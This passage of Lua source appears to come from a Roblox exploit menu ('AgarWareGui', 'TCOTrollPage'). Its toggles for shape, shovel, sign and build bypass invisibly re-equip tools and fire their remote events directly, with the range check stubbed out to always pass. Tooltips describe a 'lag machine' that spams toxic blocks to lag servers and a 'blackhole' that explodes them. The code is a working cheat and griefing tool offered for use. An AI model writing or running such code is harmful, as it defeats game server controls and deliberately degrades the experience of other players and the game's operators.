						local currentEvent = currentShapeTool:FindFirstChild("Script") and currentShapeTool.Script:FindFirstChild("Event")
						local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
	
						if currentEvent and currentUI then
							currentEvent:FireServer(
								target,
								mouse.TargetSurface,
								mouse.Hit.Position,
								currentUI.Button.Text
							)
						else
							print("[ShapeBypass] Event or UI lost, refreshing...")
							refreshShapeTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for shape tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Shape" then
				task.wait(0.2)
				if not hasShapeTool() then
					print("[ShapeBypass] Shape tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for shape tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Shape" then
					task.wait(0.2)
					if not hasShapeTool() then
						print("[ShapeBypass] Shape tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[ShapeBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	ShapeBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasShapeTool() then
			ShapeBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	ShapeBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		ShapeBypassText.Text = NORMAL_TEXT
	end)
	
	ShapeBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasShapeTool() then
			print("[ShapeBypass] Cannot enable - Shape tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_198);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShovelBypassRow.ShovelBypassScript
local function C_19c()
local script = G2L["19c"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ShovelBypassRow = script.Parent
	local BypassGroup = ShovelBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local ShovelBypassTickBox = ShovelBypassRow:WaitForChild("ShovelBypassTickBox")
	local ShovelBypassText = ShovelBypassRow:WaitForChild("ShovelBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no digging
	
	local NORMAL_TEXT = "Shovel"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			ShovelBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			ShovelBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
		if shovelUI then shovelUI.Enabled = false end
	
		print("[ShovelBypass] OFF")
	end
	
	local function hasShovelTool()
		return LocalPlayer.Backpack:FindFirstChild("Shovel")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel"))
	end
	
	-- INSTANT re-equip and unequip function (keeps UI visible)
	local function refreshShovelTool()
		local shovelTool = hasShovelTool()
		if not shovelTool then
			print("[ShovelBypass] Shovel tool not found, cannot refresh")
			return false
		end
	
		local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
		if not shovelUI then
			print("[ShovelBypass] Shovel UI not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if shovelTool.Parent == LocalPlayer.Character then
			shovelTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip shovel tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(shovelTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Enable UI BEFORE unequipping
			shovelUI.Enabled = true
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Wait a tiny bit and force UI to stay enabled
			task.wait(0.05)
			shovelUI.Enabled = true
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[ShovelBypass] Tool refreshed (invisible, UI kept)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
		if not shovelUI then
			print("[ShovelBypass] Shovel UI not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		local shovelTool = hasShovelTool()
		if not shovelTool then
			print("[ShovelBypass] Shovel tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local shovelEvent = shovelTool:FindFirstChild("Script") and shovelTool.Script:FindFirstChild("Event")
		if not shovelEvent then
			print("[ShovelBypass] Shovel event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh (instant and invisible)
		refreshShovelTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			if target then
				local currentTime = tick()
	
				-- Track clicks to detect if digging is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[ShovelBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshShovelTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the shovel tool and event in case it changed
					local currentShovelTool = hasShovelTool()
					if currentShovelTool then
						local currentEvent = currentShovelTool:FindFirstChild("Script") and currentShovelTool.Script:FindFirstChild("Event")
						local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel")
	
						if currentEvent and currentUI then
							currentEvent:FireServer(
								target,
								mouse.TargetSurface,
								mouse.Hit.Position,
								currentUI.Button.Text
							)
						else
							print("[ShovelBypass] Event or UI lost, refreshing...")
							refreshShovelTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for shovel tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Shovel" then
				task.wait(0.2)
				if not hasShovelTool() then
					print("[ShovelBypass] Shovel tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for shovel tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Shovel" then
					task.wait(0.2)
					if not hasShovelTool() then
						print("[ShovelBypass] Shovel tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[ShovelBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	ShovelBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasShovelTool() then
			ShovelBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	ShovelBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		ShovelBypassText.Text = NORMAL_TEXT
	end)
	
	ShovelBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasShovelTool() then
			print("[ShovelBypass] Cannot enable - Shovel tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_19c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript
local function C_1a0()
local script = G2L["1a0"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local SignBypassRow = script.Parent
	local BypassGroup = SignBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local SignBypassTickBox = SignBypassRow:WaitForChild("SignBypassTickBox")
	local SignBypassText = SignBypassRow:WaitForChild("SignBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no sign placement
	
	local NORMAL_TEXT = "Sign"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			SignBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			SignBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		print("[SignBypass] OFF")
	end
	
	local function hasSignTool()
		return LocalPlayer.Backpack:FindFirstChild("Sign")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign"))
	end
	
	-- INSTANT re-equip and unequip function (no UI for Sign tool)
	local function refreshSignTool()
		local signTool = hasSignTool()
		if not signTool then
			print("[SignBypass] Sign tool not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if signTool.Parent == LocalPlayer.Character then
			signTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip sign tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(signTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				task.wait()
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[SignBypass] Tool refreshed (invisible)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local signTool = hasSignTool()
		if not signTool then
			print("[SignBypass] Sign tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local signEvent = signTool:FindFirstChild("Script") and signTool.Script:FindFirstChild("Event")
		if not signEvent then
			print("[SignBypass] Sign event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh (instant and invisible)
		refreshSignTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			if target then
				local currentTime = tick()
	
				-- Track clicks to detect if sign placement is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[SignBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshSignTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the sign tool and event in case it changed
					local currentSignTool = hasSignTool()
					if currentSignTool then
						local currentEvent = currentSignTool:FindFirstChild("Script") and currentSignTool.Script:FindFirstChild("Event")
	
						if currentEvent then
							currentEvent:FireServer(
								target,
								mouse.TargetSurface,
								mouse.Hit.Position
							)
						else
							print("[SignBypass] Event lost, refreshing...")
							refreshSignTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for sign tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Sign" then
				task.wait(0.2)
				if not hasSignTool() then
					print("[SignBypass] Sign tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for sign tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Sign" then
					task.wait(0.2)
					if not hasSignTool() then
						print("[SignBypass] Sign tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[SignBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	SignBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasSignTool() then
			SignBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	SignBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		SignBypassText.Text = NORMAL_TEXT
	end)
	
	SignBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasSignTool() then
			print("[SignBypass] Cannot enable - Sign tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_1a0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript
local function C_1a4()
local script = G2L["1a4"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local BuildBypassRow = script.Parent
	local BypassGroup = BuildBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local BuildBypassTickBox = BuildBypassRow:WaitForChild("BuildBypassTickBox")
	local BuildBypassText = BuildBypassRow:WaitForChild("BuildBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no building
	
	local NORMAL_TEXT = "Build"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			BuildBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			BuildBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
		if buildUI then buildUI.Enabled = false end
	
		print("[BuildBypass] OFF")
	end
	
	local function hasBuildTool()
		return LocalPlayer.Backpack:FindFirstChild("Build")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
	end
	
	-- INSTANT re-equip and unequip function (keeps UI visible)
	local function refreshBuildTool()
		local buildTool = hasBuildTool()
		if not buildTool then
			print("[BuildBypass] Build tool not found, cannot refresh")
			return false
		end
	
		local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
		if not buildUI then
			print("[BuildBypass] Build UI not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if buildTool.Parent == LocalPlayer.Character then
			buildTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip build tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(buildTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Enable UI BEFORE unequipping
			buildUI.Enabled = true
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Wait a tiny bit and force UI to stay enabled
			task.wait(0.05)
			buildUI.Enabled = true
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[BuildBypass] Tool refreshed (invisible, UI kept)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
		if not buildUI then
			print("[BuildBypass] Build UI not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		local buildTool = hasBuildTool()
		if not buildTool then
			print("[BuildBypass] Build tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local buildEvent = buildTool:FindFirstChild("Script") and buildTool.Script:FindFirstChild("Event")
		if not buildEvent then
			print("[BuildBypass] Build event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh (instant and invisible)
		refreshBuildTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			if target then
				local currentTime = tick()
	
				-- Track clicks to detect if building is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[BuildBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshBuildTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the build tool and event in case it changed
					local currentBuildTool = hasBuildTool()
					if currentBuildTool then
						local currentEvent = currentBuildTool:FindFirstChild("Script") and currentBuildTool.Script:FindFirstChild("Event")
						local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Build")
	
						if currentEvent and currentUI then
							currentEvent:FireServer(
								target,
								mouse.TargetSurface,
								mouse.Hit.Position,
								currentUI.Button.Text
							)
						else
							print("[BuildBypass] Event or UI lost, refreshing...")
							refreshBuildTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for build tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Build" then
				task.wait(0.2)
				if not hasBuildTool() then
					print("[BuildBypass] Build tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for build tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Build" then
					task.wait(0.2)
					if not hasBuildTool() then
						print("[BuildBypass] Build tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[BuildBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	BuildBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasBuildTool() then
			BuildBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	BuildBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		BuildBypassText.Text = NORMAL_TEXT
	end)
	
	BuildBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasBuildTool() then
			print("[BuildBypass] Cannot enable - Build tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_1a4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript
local function C_1a8()
local script = G2L["1a8"];
	-- LagMinimizeScript (inside LagGroup)
	local LagGroup = script.Parent
	local LagMinimize = LagGroup.LagTitle.LagMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(LagGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = LagGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	LagMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			LagGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			LagMinimize.Text = "+"
		else
			LagGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			LagMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_1a8);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip
local function C_1a9()
local script = G2L["1a9"];
	-- ============================================================
	-- LAG GROUP TOOLTIP SCRIPT
	-- Tooltips for LagGroup features
	-- ============================================================
	local LagGroup = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND ELEMENTS IN LAGGROUP
	-- ============================================================
	local function findDescendant(name)
		for _, v in pairs(LagGroup:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local BlockSizeHelp = findDescendant("BlockSizeHelp")
	local SpamSelectHelp = findDescendant("SpamSelectHelp")
	local LagHelp = findDescendant("LagHelp")
	local ReduceLagTickBox = findDescendant("ReduceLagTickBox")
	local BlackholeLagTickBox = findDescendant("BlackholeLagTickBox")
	local OrbitBlackholeTickBox = findDescendant("OrbitBlackholeTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	local blockSizeTooltip = makeTooltip("Changes the size of the blocks the lag machine uses. (Recommended: 1, Max size: 6)")
	
	local spamSelectTooltip = makeTooltip("How to Use:\nPress Select Block and click on a block you want the lag machine to start. Then press Start Spam and it would auto paint and shape and begin to start placing blocks.\n\nBuild mode must be set to normal, not detailed. You can change how big the blocks are set to in Block Size.")
	
	local lagHelpTooltip = makeTooltip("Allows you to make a lag machine automatically using toxified blocks without having to stand near it.\nThe block you selected hovers over your head. (No one can see it, don't worry)")
	
	local reduceLagTooltip = makeTooltip("Disables visual effects on your own lag machine to reduce lag just for you. Other players still see the full effects.")
	
	local blackholeTooltip = makeTooltip("Brings all lag blocks into one place to create a small blackhole. Toggling it off will create a massive explosion of blocks.")
	
	local orbitTooltip = makeTooltip("Makes the blackhole orbit around you in a 15 stud radius. Adjust speed in the blue box next to it. (default = 10)")
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	hookTooltip(BlockSizeHelp, blockSizeTooltip)
	hookTooltip(SpamSelectHelp, spamSelectTooltip)
	hookTooltip(LagHelp, lagHelpTooltip)
	hookTooltip(ReduceLagTickBox, reduceLagTooltip)
	hookTooltip(BlackholeLagTickBox, blackholeTooltip)
	hookTooltip(OrbitBlackholeTickBox, orbitTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if blockSizeTooltip then blockSizeTooltip:Destroy() end
			if spamSelectTooltip then spamSelectTooltip:Destroy() end
			if lagHelpTooltip then lagHelpTooltip:Destroy() end
			if reduceLagTooltip then reduceLagTooltip:Destroy() end
			if blackholeTooltip then blackholeTooltip:Destroy() end
			if orbitTooltip then orbitTooltip:Destroy() end
		end
	end)
end;
task.spawn(C_1a9);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript
local function C_1b0()
local script = G2L["1b0"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local RunService = game:GetService("RunService")
	
	local SpamSelectRow = script.Parent
	local LagGroup = SpamSelectRow.Parent
	local LagAccentColor = LagGroup:WaitForChild("LagAccentColor")
	local SpamSelectButton = SpamSelectRow:WaitForChild("SpamSelectButton")
	
	-- Shared state for other scripts to access
	local SelectedBlockValue = LagGroup:FindFirstChild("SelectedBlock") or Instance.new("ObjectValue")
	SelectedBlockValue.Name = "SelectedBlock"
	SelectedBlockValue.Parent = LagGroup
	SelectedBlockValue.Value = nil
	
	-- States
	local isSelectingBlock = false
	local currentHighlight = nil
	local mouseConn = nil
	
	-- Text states
	local TEXT_DEFAULT = "Select Block"
	local TEXT_SELECTING = "Select a block..."
	local TEXT_SELECTED = "Block Selected"
	
	-- Initialize button text
	SpamSelectButton.Text = TEXT_DEFAULT
	
	-- ============================================================
	-- CLEANUP HIGHLIGHT
	-- ============================================================
	local function removeHighlight()
		if currentHighlight then
			currentHighlight:Destroy()
			currentHighlight = nil
		end
	end
	
	-- ============================================================
	-- CREATE HIGHLIGHT ON SELECTED BLOCK
	-- ============================================================
	local function highlightBlock(block)
		removeHighlight()
	
		if not block or not block:IsA("BasePart") then return end
	
		-- Create highlight
		local highlight = Instance.new("Highlight")
		highlight.Adornee = block
		highlight.FillColor = Color3.fromRGB(255, 255, 0) -- Yellow
		highlight.OutlineColor = Color3.fromRGB(255, 200, 0)
		highlight.FillTransparency = 0.5
		highlight.OutlineTransparency = 0
		highlight.Parent = block
	
		currentHighlight = highlight
	end
	
	-- ============================================================
	-- SELECT BLOCK
	-- ============================================================
	local function selectBlock(block)
		if not block or not block:IsA("BasePart") or block.Name ~= "Brick" then
			return false
		end
	
